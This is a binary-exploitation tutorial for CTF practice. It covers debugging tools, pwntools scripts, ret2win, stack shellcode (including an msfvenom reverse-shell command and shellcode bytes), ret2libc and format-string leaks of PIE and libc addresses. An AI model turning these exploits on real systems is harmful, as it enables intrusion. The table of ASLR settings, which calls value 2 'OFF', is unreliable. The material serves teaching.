Tools Usage
ltrace
ltrace
is a program that simply runs the specified command until it exits. It intercepts and records the dynamic library calls which are executed.
$ ltrace ./login
__libc_start_main(0x8049192, 1, 0xff8f56d4, 0x8049260 <unfinished ...>
puts("Enter admin password: "Enter admin password:
) = 23
gets(0xff8f55f6, 0xf7f808cb, 0xf7d3fa2f, 0x80491a9password
) = 0xff8f55f6
strcmp("password", "pass") = 1
puts("Incorrect Password!"Incorrect Password!
) = 20
printf("Successfully logged in as Admin "..., 25714Successfully logged in as Admin (authorised=25714) :)
) = 54
+++ exited (status 0) +++
As you can see the binary compares my password password
with pass
which should be the admin password.
Ghidra (Decompiler + Disassembler)
Ghidra
is a very useful tool to decompile the binary and obtain a close version of the source code.
GDB + Peda + Pwndbg (Debugger + Disassembler)
Once installed and configured we just need to launch gdb
.
$ gdb-peda
gdb-peda$
$ gdb-pwndbg
pwndbg>
Opening the file
First we need to select the binary.
gdb-peda$ file ./vuln
Reading symbols from ./vuln...
(No debugging symbols found in ./vuln)
Check functions
We can see what function are in there.
gdb-peda$ info functions
All defined functions:
Non-debugging symbols:
0x08049000 _init
0x08049030 gets@plt
0x08049040 puts@plt
0x08049050 __libc_start_main@plt
0x08049060 _start
0x080490a0 _dl_relocate_static_pie
0x080490b0 __x86.get_pc_thunk.bx
0x080490c0 deregister_tm_clones
0x08049100 register_tm_clones
0x08049140 __do_global_dtors_aux
0x08049170 frame_dummy
0x08049172 main
0x080491c0 __libc_csu_init
0x08049220 __libc_csu_fini
0x08049221 __x86.get_pc_thunk.bp
0x08049228 _fini
Disassemble a function
gdb
can also disassemble a function.
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x08049192 <+0>: lea ecx,[esp+0x4]
0x08049196 <+4>: and esp,0xfffffff0
0x08049199 <+7>: push DWORD PTR [ecx-0x4]
0x0804919c <+10>: push ebp
0x0804919d <+11>: mov ebp,esp
0x0804919f <+13>: push ebx
0x080491a0 <+14>: push ecx
0x080491a1 <+15>: sub esp,0x10
Set breakpoints
We can set breakpoints in execution to stop the program in a function.
gdb-peda$ break main
Breakpoint 1 at 0x8049181
Or we can set a breakpoint in a address using the hex value or the ascii value.
gdb-peda$ break *0x804921e
Breakpoint 2 at 0x804921e
gdb-peda$ break *main+140
Breakpoint 1 at 0x804921e
We can also delete breakpoints
gdb-peda$ delete breakpoints
To move between instructions we can use n
to go next, and c
to continue.
Run the program
gdb-peda$ run
Stack Info
We can also retrieve which data is stored on the stack.
gdb-peda$ info stack
#0 0x08049181 in main ()
#1 0xf7dd4fd6 in __libc_start_main () from /lib/i386-linux-gnu/libc.so.6
#2 0x08049092 in _start ()
Create and Read patterns
A common task is to determine the offset of our payload.
- Create a pattern:
pwndbg> cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
- Get the offset:
pwndbg> cyclic -l haaa
Finding cyclic pattern of 4 bytes: b'haaa' (hex: 0x68616161)
Found at offset 28
Pwntools
pwn
is a python library that is designed to create exploits.
from pwn import *
- Exploiting local files:
In order to start a program we need to use process
function.
io = process('./file')
- Connecting remotely
io = remote('10.10.10.10', 80)
- Recieve line:
io.recvline()
- Send payload:
io.send(b'PAYLOAD\r\n')
- Send String after a char:
io.sendlineafter(b':', b'PAYLOAD')
- Recieve output:
io.recvall().decode()
Debug template
There is a custom template that is very useful to change between LOCAL
, GDB
, REMOTE <IP> <PORT>
.
from pwn import *
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
break main
continue
'''.format(**locals())
# Set up pwntools for the correct architecture
exe = './ret2win'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
io = start()
Ropper (Find Gadgets)
Sometimes we need to find some gadgets to overwrite some registers or simply to jump to the stack and execute our shellcode. ropper
is a useful tool from pwntools
that search the desired gadget
- Example of usage:
$ ropper --file server --search "jmp esp"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: jmp esp
[INFO] File: server
0x0804919f: jmp esp;
Check Architecture
With file we can check with which architecture we are going to work.
$ file vuln
vuln: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=c5631a370f7704c44312f6692e1da56c25c1863c, not stripped
Binary Security
checksec
is very usefull to see what defenses are enabled in the compiled binary.
$ checksec vuln
[*] '/tmp/vuln'
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
-
Address Space Layout Randomization (ASLR): ASLR is the randomization of the place in memory where the program, shared libraries, the stack, and the heap are. This makes can make it harder for an attacker to exploit a service, as knowledge about where the stack, heap, or libc can’t be re-used between program launches. This is a partially effective way of preventing an attacker from jumping to, for example, libc without a leak.
-
RELRO: Relocation Read-Only is a security measure which makes some binary sections read-only. There are two RELRO modes, partial and full. Partial RELRO is the default setting in gcc, eliminates the risk of a BOF on a global variable overwriting Global Offset Table (GOT) entries. Full RELRO makes the entire GOT read-only which removes the ability to perform a “GOT overwirte” attack.
-
Stack Canaries: Stack Canaries are a secret value placed on the stack which changes every time the program is started. Prior to a function return, the stack canary is checked and if it appears to be modified, the program exits immeadiately. Stack Canaries seem like a clear cut way to mitigate any stack smashing as it is fairly impossible to just guess a random 64-bit value. However, leaking the address and bruteforcing the canary are two methods which would allow us to get through the canary check.
-
No eXecute (NX): The No eXecute or the NX bit (also known as Data Execution Prevention or DEP) marks certain areas of the program as not executable, meaning that stored input or data cannot be executed as code. This is significant because it prevents attackers from being able to jump to custom shellcode that they’ve stored on the stack or in a global variable.
-
Position Independent Executable (PIE): Every time the file is runned it gets loaded into a different memory address. This means that you cannot hardcode values such as function addresses and gadget locations without finding out where they are.
Compile with no protections
If we have the source code (C), we can compile it with any protection.
gcc vuln.c -o vuln -fno-stack-protector -z execstack -no-pie -m32
Overwriting Stack Variables
In some CTFs we need to overwrite a variable which is on the stack with a buffer overflow in order to get the flag.
After finding the user input which is vulnerable to BOF we need to fuzz in order to find the modification of the variable.
Example of a fuzzer using pwntools:
from pwn import *
for length in range(100):
print("---- LENGTH %d" % length)
io = process('./overwrite')
payload = length * b'A'
print(payload)
io.sendlineafter(b'?', payload)
print(io.recvall().decode())
---- LENGTH 31
[+] Starting local process './overwrite': pid 15721
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[+] Receiving all data: Done (14B)
[*] Process './overwrite' stopped with exit code 0 (pid 15721)
12345678
...
---- LENGTH 32
[+] Starting local process './overwrite': pid 15724
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[+] Receiving all data: Done (14B)
[*] Process './overwrite' stopped with exit code 0 (pid 15724)
12345600
...
---- LENGTH 33
[+] Starting local process './overwrite': pid 15727
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[+] Receiving all data: Done (14B)
[*] Process './overwrite' stopped with exit code 0 (pid 15727)
12340041
...
As you can see after 32 dummy bytes the output variable has been modified.
To confirm we can create a exploit to control de variable.
from pwn import *
io = process('./overwrite')
payload = 32 * b'A' + b'BBBB'
io.sendlineafter(b'?', payload)
print(io.recvall().decode())
Output:
$ python3 myexploit.py
[+] Starting local process './overwrite': pid 20032
[+] Receiving all data: Done (14B)
[*] Process './overwrite' stopped with exit code 0 (pid 20032)
42424242
...
Once we fully control the variable we need to reverse the binary in order to find which value we need to set into.
After setting a breakpoint in the direction where the variable is compared we can see the desired value.
────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]─────────────────────────────────────────────────
► 0x80491e0 <do_input+78> cmp dword ptr [ebp - 0xc], 0xdeadbeef
0x80491e7 <do_input+85> jne do_input+148 <do_input+148>
↓
0x8049226 <do_input+148> sub esp, 8
0x8049229 <do_input+151> push dword ptr [ebp - 0xc]
0x804922c <do_input+154> lea eax, [ebx - 0x1fe7]
0x8049232 <do_input+160> push eax
0x8049233 <do_input+161> call printf@plt <printf@plt>
0x8049238 <do_input+166> add esp, 0x10
0x804923b <do_input+169> sub esp, 0xc
0x804923e <do_input+172> lea eax, [ebx - 0x1fe1]
0x8049244 <do_input+178> push eax
The desired value is 0xdeadbeef
. We can confirm by overwriting the variable on the debugger.
First we are going to check which is the current value of the memory address EBP - 0xc
.
pwndbg> x $ebp -0xc
0xffffcc8c: 0x12345678
Now if we modify the 0xffffcc8c
memory address to the desired one 0xdeadbeef
and continue the program we will see that we complete the challange.
pwndbg> set *0xffffcc8c = 0xdeadbeef
pwndbg> x $ebp -0xc
0xffffcc8c: 0xdeadbeef
pwndbg> c
Continuing.
good job!!
deadbeef
[Inferior 1 (process 20292) exited normally]
Finally we just need to complete our script, we need to check with file
command if the binary is little or bigger endian. In that case we are working with a 32-bit LSB
binary so we need to reverse the bytes.
from pwn import *
io = process('./overwrite')
payload = 32 * b'A' + b'\xef\xbe\xad\xde'
io.sendlineafter(b'?', payload)
print(io.recvall().decode())
$ python3 myexploit.py
[+] Starting local process './overwrite': pid 21719
[+] Receiving all data: Done (21B)
[*] Process './overwrite' stopped with exit code 0 (pid 21719)
good job!!
deadbeef
Ret2Win
Sometimes we need to jump into a function which is never called. So we will overwrite the EIP (instruction pointer) with the desired function memory address.
First of all we need to determine which input is vulnerable to BOF, then we will find hidden function and we will collect its memory address 0x08049182
.
pwndbg> info functions
All defined functions:
Non-debugging symbols:
0x08049000 _init
0x08049030 printf@plt
0x08049040 puts@plt
0x08049050 __libc_start_main@plt
0x08049060 __isoc99_scanf@plt
0x08049070 _start
0x080490b0 _dl_relocate_static_pie
0x080490c0 __x86.get_pc_thunk.bx
0x080490d0 deregister_tm_clones
0x08049110 register_tm_clones
0x08049150 __do_global_dtors_aux
0x08049180 frame_dummy
0x08049182 hacked <--------
0x080491ad register_name
0x08049203 main
0x0804921f __x86.get_pc_thunk.ax
0x08049230 __libc_csu_init
0x08049290 __libc_csu_fini
0x08049291 __x86.get_pc_thunk.bp
0x08049298 _fini
After crashing the program, we will see that the EIP, register which determines the return address of the function called, has been overwritten.
pwndbg> run
Starting program: /home/mvaliente/KaliShared/learn/pwn/CTF/pwn/binary_exploitation_101/03-return_to_win/ret2win
Name:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Hi there, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────
*EAX 0x41
*EBX 0x61616161 ('aaaa')
ECX 0x0
*EDX 0xf7fc2540 ◂— 0xf7fc2540
*EDI 0xf7ffcb80 (_rtld_global_ro) ◂— 0x0
*ESI 0x8049230 (__libc_csu_init) ◂— push ebp
*EBP 0x61616161 ('aaaa')
*ESP 0xffffcd10 ◂— 'aaaaaaaaaaaaaaaaaaaaaa'
*EIP 0x61616161 ('aaaa')
Next step is control the EIP, so we need to find the offset. First we need to create a pattern.
pwndbg> cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Once sended the payload we will see that the EIP has been overwritten with haaa
.
pwndbg> run
Starting program: /home/mvaliente/KaliShared/learn/pwn/CTF/pwn/binary_exploitation_101/03-return_to_win/ret2win
Name:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Hi there, aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Program received signal SIGSEGV, Segmentation fault.
0x61616168 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────
*EAX 0x6f
*EBX 0x61616166 ('faaa')
ECX 0x0
*EDX 0xf7fc2540 ◂— 0xf7fc2540
*EDI 0xf7ffcb80 (_rtld_global_ro) ◂— 0x0
*ESI 0x8049230 (__libc_csu_init) ◂— push ebp
*EBP 0x61616167 ('gaaa')
*ESP 0xffffcd10 ◂— 'iaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
*EIP 0x61616168 ('haaa')
With cyclic
we can see the offset.
pwndbg> cyclic -l haaa
Finding cyclic pattern of 4 bytes: b'haaa' (hex: 0x68616161)
Found at offset 28
Finally we just need to send 28 bytes of dummy data and the memory address of the hacked function 0x08049182
.
from pwn import *
io = process('./ret2win')
#Hacked function address 0x08049182
payload = 28 * b'A' + b'\x82\x91\x04\x08'
io.sendlineafter(b':', payload)
print(io.recvall())
Note: When dealing with Little Endian, we need to reverse the bytes order.
Ret2Win with Parameters
Similar with no parameters, but indeed we will need to append the parameteres to the stack.
Before adding ours parameters into the payload we need to specify the return address of the new function called. We can use junk data such as AAAA
.
After the return address we will send the parameters in order of being called. First the first parameter and after that the second and more…
from pwn import *
io = process('./ret2win')
#Hacked function address 0x08049182
payload = 28 * b'A' + b'\x82\x91\x04\x08' + 'AAAA' + 'PARAM1' + 'PARAM2'
io.sendlineafter(b':', payload)
print(io.recvall())
Injecting Shellcode
In the last chapters we overwrite some stack variables or return address to access to hidden functions that never have been called. Buf if NX is disabled we will be able to execute shellcode on the stack such as a reverse shell.
$ checksec ./server
[*] '/tmp/server'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
Once controlled the EIP
, we are going to overwrite it with the memory address of jmp %esp
gadget, which can be found with ropper
.
$ ropper --file server --search "jmp esp"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: jmp esp
[INFO] File: server
0x0804919f: jmp esp;
Creating Shellcode
There are different tools to create shellcode.
Shellcraft (pwntools)
shellcraft
is a tool to create shellcode in linux. To list available payloads we can use:
shellcraft -l
Finally we need to specify the payload.
$ shellcraft i386.linux.sh #hex
$ shellcraft i386.linux.sh -f a #asm
Note: Remember to append NOPs (16) before the shellcode to ensure that is correctly loaded.
Example of exploit:
io = start()
# Offset to EIP
padding = 76
# Assemble the byte sequence for 'jmp esp' so we can search for it
jmp_esp = asm('jmp esp')
jmp_esp = next(elf.search(jmp_esp))
# Execute /bin/sh
shellcode = asm(shellcraft.sh())
# Exit
shellcode += asm(shellcraft.exit())
# Build payload
payload = flat(
asm('nop') * padding,
jmp_esp,
asm('nop') * 16,
shellcode
)
# Write payload to file
write("payload", payload)
# Exploit
io.sendlineafter(b':', payload)
# Get shell
io.interactive()
Msfvenom
msfvenom
is the most usage tool to create payloads.
msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b '\x00' -f python
And finally we just need to put inside our exploit.
io = start()
# Offset to EIP
padding = 76
# Assemble the byte sequence for 'jmp esp' so we can search for it
jmp_esp = asm('jmp esp')
jmp_esp = next(elf.search(jmp_esp))
# Execute Reverse Shell
# msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b '\x00' -f python
buf = b""
buf += b"\xbe\x99\xc0\x76\x66\xda\xd0\xd9\x74\x24\xf4\x5a\x31"
buf += b"\xc9\xb1\x12\x31\x72\x12\x03\x72\x12\x83\x73\x3c\x94"
buf += b"\x93\xb2\x66\xae\xbf\xe7\xdb\x02\x2a\x05\x55\x45\x1a"
buf += b"\x6f\xa8\x06\xc8\x36\x82\x38\x22\x48\xab\x3f\x45\x20"
buf += b"\x53\xc0\xb5\xb1\xc3\xc2\xb5\xa0\x4f\x4a\x54\x72\x09"
buf += b"\x1c\xc6\x21\x65\x9f\x61\x24\x44\x20\x23\xce\x39\x0e"
buf += b"\xb7\x66\xae\x7f\x18\x14\x47\x09\x85\x8a\xc4\x80\xab"
buf += b"\x9a\xe0\x5f\xab"
# Build payload
payload = flat(
asm('nop') * padding,
jmp_esp,
asm('nop') * 16,
buf
)
# Write payload to file
write("payload", payload)
# Exploit
io.sendlineafter(b':', payload)
# Get shell
io.interactive()
Socket Re-Use
Instead of spawning a reverse shell that maybe give problems to us with bad characters we can re-use the open socket.
The following shellcode works to re-use the socket.
- Socket Re-use Combo for linux x86 systems by ZadYree – 50 bytes
buf=b""
buf+=b"\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48\x89\xc6"
buf+=b"\x31\xc9\x56\x5b\x6a\x3f\x58\xcd\x80\x41\x80"
buf+=b"\xf9\x03\x75\xf5\x6a\x0b\x58\x99\x52\x31\xf6"
buf+=b"\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
buf+=b"\x89\xe3\x31\xc9\xcd\x80";
Ret2Libc (Localy)
This technique is very useful to execute code when NX is enabled. Since we need to know the libc memory address and other gadgets we need to exploit it localy.
$ checksec secureserver
[*] '/tmp/secureserver'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
As allways we need to control the EIP
in order to control the program flow.
Firstly its important to know that the binary need to be dynamically linked
.
$ file secureserver
secureserver: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=ba7b32f02b9ce5948bcb57c33599de4ad17682de, for GNU/Linux 3.2.0, not stripped
Dynamically linked sets means that some functions like gets
or puts
will been called from libc
rather than been hardcoded on the binary. That code is stored on the libc
library on the system.
Whenever the program wants to access one of this functions will have a look to the Global Offset Table (GOT).
Every libc library has different offsets, and sometimes ASLR is enabled so will need to leak the address or have local access to the system.
libc
has more interesting functions such as system
which a string like /bin/sh
can be passed in order to create a shell.
Check ASLR
To check ASLR you can check the following file on the target machine:
cat /proc/sys/kernel/randomize_va_space
- Checking the results:
Result | ASLR | PIE |
---|---|---|
0 | OFF | OFF |
1 | ON | ON |
2 | OFF | OFF |
- Disable ASLR:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
- Enable ASLR:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
Find libc address
First we need to find the libc
address.
$ ldd secureserver
linux-gate.so.1 (0xf7fc7000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d7c000)
/lib/ld-linux.so.2 (0xf7fc9000)
libc.so.6: /lib/i386-linux-gnu/libc.so.6 (0xf7d7c000)
Find system function address
Next step is to find the offset from libc
of the system function.
$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
3172: 0004c800 55 FUNC WEAK DEFAULT 15 system@@GLIBC_2.0
system@@GLIBC_2.0: 0x0004c800
Find exit function address
Optional, useful to avoid crashing the program while exploiting.
$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit
1208: 0016ee00 33 FUNC GLOBAL DEFAULT 15 quick_exit@GLIBC_2.10
1567: 0003bc90 33 FUNC GLOBAL DEFAULT 15 exit@@GLIBC_2.0
2404: 0016edd0 34 FUNC GLOBAL DEFAULT 15 atexit@GLIBC_2.0
2606: 0003d740 196 FUNC WEAK DEFAULT 15 on_exit@@GLIBC_2.0
2765: 000918c0 12 FUNC GLOBAL DEFAULT 15 thrd_exit@GLIBC_2.28
2767: 000918c0 12 FUNC GLOBAL DEFAULT 15 thrd_exit@@GLIBC_2.34
3274: 001641c0 56 FUNC GLOBAL DEFAULT 15 svc_exit@GLIBC_2.0
3288: 000df4f0 87 FUNC GLOBAL DEFAULT 15 _exit@@GLIBC_2.0
exit@@GLIBC_2.0: 0x0003bc90
Find /bin/sh string
$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
1b5faa /bin/sh
/bin/sh: 0x001b5faa
Exploiting
This is an example with pwntools
:
io = start()
# Offset to EIP
padding = 76
#Addresses
libc_base = 0xf7d7c000
system = libc_base + 0x4c800
exit = libc_base + 0x3bc90
binsh = libc_base + 0x1b5faa
# Build payload
payload = flat(
asm('nop') * padding, # Offset to EIP
system, # Address of SYSTEM function in LIBC
exit, # Return pointer
binsh # Address of /bin/sh in LIBC
)
# Save payload to a file
write('payload.bin', payload)
# Exploit
io.sendlineafter(b':', payload)
# Get shell
io.interactive()
Another example with struct
:
import struct
offset = 52
overflow = "A" * offset
libc = 0xb7e19000
system = struct.pack('<I', libc + 0x0003ada0)
exit = struct.pack('<I', libc + 0x0002e9d0)
binsh = struct.pack('<I', libc + 0x0015ba0b)
payload = overflow + system + exit + binsh
print(payload)
Ret2Libc 64-bit (Locally)
Similar to 32bits but we need to find the gadget of pop rdi
and ret
.
$ ropper --file secureserver --search "pop rdi"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi
[INFO] File: secureserver
0x000000000040120b: pop rdi; ret;
$ ropper --file secureserver --search "ret"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: ret
[INFO] File: secureserver
0x0000000000401016: ret;
The exploit is quite similar, but we need to put the payload in the following order:
PADDING + RET + POP RDI + /bin/sh + libc.system + libc.exit
io = start()
offset = 72
pop_rdi = 0x40120b
ret = 0x401016
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc.address = 0x00007ffff7dc9000
payload = flat(
asm("nop") * offset,
ret,
pop_rdi,
next(libc.search(b'/bin/sh\x00')),
libc.symbols.system,
libc.symbols.exit
)
io.sendlineafter(b':', payload)
io.interactive()
Format String Vulnerability (printf)
A format string vulnerability is not a buffer overflow itself, but it is used to leak addresses such as the PIE base address or libc addresses.
What is a format string?
Format strings are strings that contain format specifiers. They are used in format functions in C and in many other programming languages.
Format specifiers in a format string are placeholders that will be replaced with a piece of data that the developer passes in.
printf("Hello, my name is %s.", name);
Format String | Description |
---|---|
%d | Integers in decimal |
%u | Unsigned integer in decimal |
%x | Unsigned integer in hex |
%s | Data should be a pointer to a string |
%p | Pointer in hex |
Vulnerability
When in a printf
statement is called without specifying what type it should be like the following case:
printf("> ");
fgets(buf, sizeof(buf), stdin);
printf(buf);
We are going to be able to exfiltrate data of the buffer such as pointers to libc functions and more.
> %p %p %p %p %p
0x40 0xf7f99620 0x8049217 (nil) 0x67616c66
We can also ask directly to the nth number of the stack, here it can appear some pointers and some strings that are added to the stack.
> %1$p
0x40
> %2$p
0xf7f99620
> %3$p
0x8049217
Note: Is little endian, we need to reverse it to obtain the string.
Fuzzer - Search for strings
We can craft a fuzzer to retrieve strings from the stack.
from pwn import *
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF('./format_vuln', checksec=False)
# Let's fuzz 100 values
for i in range(100):
try:
# Create process (level used to reduce noise)
p = process(level='error')
# When we see the user prompt '>', format the counter
# e.g. %2$s will attempt to print second pointer as string
p.sendlineafter(b'> ', '%{}$s'.format(i).encode())
# Receive the response
result = p.recvuntil(b'> ')
# Check for flag
# if("flag" in str(result).lower()):
print(str(i) + ': ' + str(result))
# Exit the process
p.close()
except EOFError:
pass
37: b'\x98$\xad\xfb\xe0\xd2\x04\x08\xe0\xd2\x04\x08\xe0\xd2\x04\x08\xe0\xd2\x04\x08\xe0\xd2\x04\x08\xe0\xd2\x04\x08\xe0\xd2\x04\x08\xe0\xd6\x04\x08\n> '
39: b'flag{foRm4t_stRinGs_aRe_DanGer0us}\n> '
40: b'\x01\n> '
Leak PIE and Libc addresses 64-bit
We can combine two techniques that have been disscussed in this post earlier. We can use the format string vulnerability to bypass PIE and leak the remote libc address.
PIE is the same concept than ASLR but applied specifically to the binary. So if a binary is compiled with PIE, instead of see addresses in our debugger we will see offsets to the PIE Base address.
pwndbg> info functions
All defined functions:
Non-debugging symbols:
0x0000000000001000 _init
0x0000000000001030 puts@plt
0x0000000000001040 printf@plt
0x0000000000001050 fgets@plt
0x0000000000001060 gets@plt
0x0000000000001070 setgid@plt
0x0000000000001080 setuid@plt
0x0000000000001090 __cxa_finalize@plt
0x00000000000010a0 _start
0x00000000000010d0 deregister_tm_clones
0x0000000000001100 register_tm_clones
0x0000000000001140 __do_global_dtors_aux
0x0000000000001180 frame_dummy
0x0000000000001185 enter_name
0x00000000000011d6 vuln
0x00000000000011f8 main
0x0000000000001250 __libc_csu_init
0x00000000000012b0 __libc_csu_fini
0x00000000000012b4 _fini
The idea is to use a format string vulnerability to leak the PIE base address.
With GDB we can get the local PIE base, we will use to calculate offsets localy, but the PIE base address will change on a remote server.
pwndbg> piebase
Calculated VA from /home/mvaliente/KaliShared/learn/pwn/CTF/pwn/binary_exploitation_101/08-leak_pie_ret2libc/pie_server = 0x555555554000
We can use breakrva
to put a breakpoint knowing the offset of the PIE base.
pwndbg> breakrva 0x11f0
Breakpoint 6 at 0x5555555551f0
We need to create a fuzzer in order to find on the stack some addresses.
from pwn import *
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
piebase
continue
'''.format(**locals())
# Set up pwntools for the correct architecture
exe = './pie_server'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'warning'
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
for i in range(100):
try:
io = start()
io.sendlineafter(b':', '%{}$p'.format(i).encode())
io.recvuntil(b'Hello ')
r = io.recvline()
print(str(i) + ': ' + str(r))
except:
pass
- Result:
0: b'%0$p\n'
1: b'0x6c6c6548\n'
2: b'(nil)\n'
3: b'(nil)\n'
4: b'0x5555555596b5\n'
5: b'(nil)\n'
6: b'0xa70243625\n'
7: b'(nil)\n'
8: b'(nil)\n'
15: b'0x555555555224\n'
38: b'0x5555555551f8\n'
Knowing our PIE base address looks like 0x555555554000
, the 4th item of the stack is probably a address of a function. Let’s calculate which is the offset to the base.
pwndbg> x 0x5555555596b5
0x5555555596b5: Cannot access memory at address 0x5555555596b5
pwndbg> x 0x5555555550ca
0x5555555550ca <_start+42>: 0x441f0ff4
pwndbg> x 0x5555555550a0
0x5555555550a0 <_start>: 0x8949ed31
pwndbg> x 0x5555555551f8
0x5555555551f8 <main>: 0xe5894855
pwndbg> x 0x555555555224
0x555555555224 <main+44>: 0xfd3d8d48
pwndbg> x 0x7fffffffe796
0x7fffffffe796: 0x5345445f
We can use for example main function that we know that is the 38th item of the stack to calculate the offset.
pwndbg> x 0x5555555551f8 - 0x555555554000
0x11f8 <main>: Cannot access memory at address 0x11f8
Note:
OFFSET
=KNOWN FUNCTION
-LOCAL PIE BASE
.
So if we retrieve the main address and we know the offset we can get the PIE base address.
# Retrieving PIE Base Address
io = start()
io.sendlineafter(b':', '%38$p')
io.recvuntil(b'Hello ')
r = io.recvline()
main_address = int(r[:-1], 16)
info("Leaked <main>: %#x", main_address)
pie_base = main_address - 0x11f8
info("PIE base: %#x", pie_base)
[*] Leaked <main>: 0x5555555551f8
[*] PIE base: 0x555555554000
Note:
REMOTE PIE BASE
=KNOWN FUNCTION
-OFFSET
.
$ ropper --file pie_server --search "pop rdi"
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi
[INFO] File: pie_server
0x00000000000012ab: pop rdi; ret;
Next step is to execute a BOF in order to leak a function address of the GOT. In that case with the function puts called on the program we can print the value of address of puts on the global offset table.
We can specify the function address in the return to execute another time the vulnerable function.
# Retrieving LIBC address
# - BOF
padding = 264
pop_rdi = elf.address + 0x12ab
payload = flat(
padding * b'A',
pop_rdi,
elf.got.puts,
elf.plt.puts,
elf.symbols.vuln
)
io.sendlineafter(b':P', payload)
io.recvlines(2)
got_puts = unpack(io.recvline()[:6].ljust(8, b"\x00"))
info("GOT Puts: %#x", got_puts)
[*] Leaked <main>: 0x5555555551f8
[*] PIE base: 0x555555554000
[*] GOT Puts: 0x7ffff7e3c820
Next step is to obtain the libc base address. Knowing the libc library used and knowing the address of the put function, we can calculate the offset.
$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep puts
230: 0000000000077820 405 FUNC WEAK DEFAULT 16 puts@@GLIBC_2.2.5
pwndbg> x 0x7ffff7e3c820 - 0x77820
0x7ffff7dc5000: 0x464c457f
Next Step is to search all the functions needed and overflow the buffer to execute commands.
libc_address = got_puts - 0x77820
system = libc_address + 0x4c330
binsh = libc_address + 0x196031
exit = libc_address + 0x3e590
info("libc Base: %#x", libc_address)
info("System: %#x", system)
info("/bin/sh: %#x", binsh)
info("Exit: %#x", exit)
payload = flat(
padding * b'A',
pop_rdi,
binsh,
system
)
io.sendline(payload)
io.interactive()